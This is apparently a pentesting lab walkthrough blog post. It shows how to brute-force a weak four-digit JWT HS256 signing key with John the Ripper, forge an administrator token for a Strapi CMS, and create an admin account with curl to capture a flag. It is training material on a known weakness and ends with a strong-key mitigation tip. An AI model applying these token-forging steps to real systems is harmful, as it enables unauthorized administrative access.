Hacking JWT Tokens: Bruteforcing Weak Signing Key (JohnTheRipper)

Shivam Bathla
Pentester Academy Blog
6 min readJun 14, 2020

--

In our lab walkthrough series, we go through selected lab exercises on our AttackDefense Platform. Premium labs require a subscription, but you can sign in for free to try our community labs and view the list of topics — no subscription or VPN required!

Hello all, today we will be exploring another way of hacking JWT tokens signed using weak keys. We will be using John The Ripper for determining (or rather cracking) the correct signing key!

Prerequisites:

Some basic knowledge on JWT Tokens is a prerequisite for this lab. You can learn more on JWT from the following links:

  1. Introduction to JSON Web Tokens
  2. JWT RFC

Lab Scenario

We have set up the below scenario in our Attack-Defense labs for our students to practice. The screenshots have been taken from our online lab environment.

Lab: Bruteforcing: Weak Signing Key (JohnTheRipper)

This lab environment consists of a REST API running on the target machine (on port 1337) and uses JWT-based authorization. The signing key used for token generation is weak!!

Objective: Determine the secret key and leverage it to read the flag stored on the target server!

Solution:

Step 1: Check the IP address of the machine.

Command: ifconfig

Retrieving the IP address of the host machine

The IP address of the machine is “192.144.8.2”

Therefore, the target REST API is running on 192.144.8.3, at port 1337.

Step 2: Checking the presence of the REST API.

Command: curl 192.144.8.3:1337

Fingerprinting the CMS

The response reflects that Strapi CMS is running on the target machine.

Step 3: Getting the JWT Token for user elliot.

Command: curl -H “Content-Type: application/json” -X POST -d ‘{“identifier”: “elliot”,”password”: “elliotalderson”}’ http://192.144.8.3:1337/auth/local/ | jq

Issuing token for user “elliot”

The response contains the JWT Token for the user.

JWT Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiaWF0IjoxNTc0ODM1MzE0LCJleHAiOjE1Nzc0MjczMTR9.GXWX72f5PQi4unRvF3eh6oPziUUr_iVxMyUL5NFlulU

Step 4: Decoding the token header and payload parts using https://jwt.io.

Decoding the above obtained token using https://jwt.io

The token uses HS256 algorithm (a symmetric signing key algorithm).

Since it is mentioned in the challenge description that a weak secret key has been used to sign the token and the constraints on the key are also specified, a bruteforce attack could be used to disclose the correct secret key.

Step 5: Performing a bruteforce attack on the JWT Token secret key.

To brute-force the signing key, John The Ripper (jtr) would be used.

Checking the usage information on the tool:

Command: john

Checking the usage for John The Ripper
Checking the usage for John The Ripper (contd.)

Constraints on the Signing Key: The secret key is of 4 digits, each from the range of 0 to 9.

Save the JWT Token obtained in Step 3 into a file called jwt.txt.

Command: cat jwt.txt

Save the above obtained token to a file

Generating a wordlist used for brute-forcing the signing key:

Save the following Python script as generate-wordlist.py:

Python Code:

Run the above Python script to generate the wordlist used for cracking the signing key:

Command: python3 generate-wordlist.py

Generate wordlist using the above Python script

Brute-forcing the signing key:

Command: john jwt.txt — wordlist=wordlist.txt — format=HMAC-SHA256

Cracking the signing key

The secret key used for signing the token is “9897”.

Note: John The Ripper supports cracking the signing key for the JWT Tokens signed using the following symmetric signing algorithms: HS256, HS384, HS512.

Step 6: Creating a forged token.

Since the secret key used for signing the token is known, it could be used to create a valid token.

Using https://jwt.io to create a forged token.

Specify the token obtained in Step 3 in the “Encoded” section and the secret key obtained in the previous step in the “Decoded” section.

Verifying the signature of the above token using the signing key retrieved above

Notice the id field in the payload section has a value 2.

In Strapi, the id is assigned as follows:

  • Administrator user has id = 1
  • Authenticated user has id = 2
  • Public user has id = 3

Since the signing key is already known, the value for id could be forged and changed to 1 (Administrator) and the corresponding token would be generated.

Creating a forged token — Set the “id” to 1 (admin)

Forged Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNTc0ODM1MzE0LCJleHAiOjE1Nzc0MjczMTR9.inohRq76BxY5pU3wML1YgiLc6rhs0Dz9fsbZ2DvnOpc

This forged token would let the user be authenticated as administrator (id = 1).

Step 7: Creating a new account with administrator privileges.

Use the following curl command to create a new user with administrator privileges (role = 1).

Command: curl -X POST -H “Content-Type: application/json” -H “Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNTc0ODM1MzE0LCJleHAiOjE1Nzc0MjczMTR9.inohRq76BxY5pU3wML1YgiLc6rhs0Dz9fsbZ2DvnOpc” -d ‘{ “role”: “1”, “username”: “secret_user”, “password”: “secret_password”, “email”: “secret@email.com” }’ http://192.144.8.3:1337/users | jq

Note: The JWT Token used in the Authorization header is the forged token retrieved in the previous step.

Creating a new user with admin privileges

The request for the creation of the new user succeeded.

Step 8: Login to the Strapi Admin Panel using the credentials of the newly created user.

Open the following URL in firefox:

Strapi Admin Panel URL: http://192.144.8.3:1337/admin

Login to CMS admin panel

Step 9: Retrieving the secret flag.

Retrieving the secret flag

Open the Secretflags content type on the left panel.

Retrieving the secret flag (contd.)

Notice there is only one entry. That entry contains the flag.

Click on that entry and retrieve the flag.

Awesome!! We got the flag :)

Flag: 14a4a761914c2628506feea520b7b4384a206f8c24d013

I hope you learnt another way to hack JWT Tokens by leveraging the weak signing keys used for token generation.

To avoid such issues, make sure to use a large key which is hard to guess. Otherwise, it might have serious consequences as seen above!!

Well, if you liked this post, then make sure to check out my other posts in the Hacking JWT Tokens series.

Go beyond walkthroughs with hands-on practice. Subscribe now and gain access to 2000+ lab exercises including this one! We also provide on-demand bootcamps — follow along with instructors as they go through the labs and progressively master in-demand topics regardless of time zone!

References:

  1. Strapi Documentation
  2. JWT debugger
  3. JohnTheRipper

--

--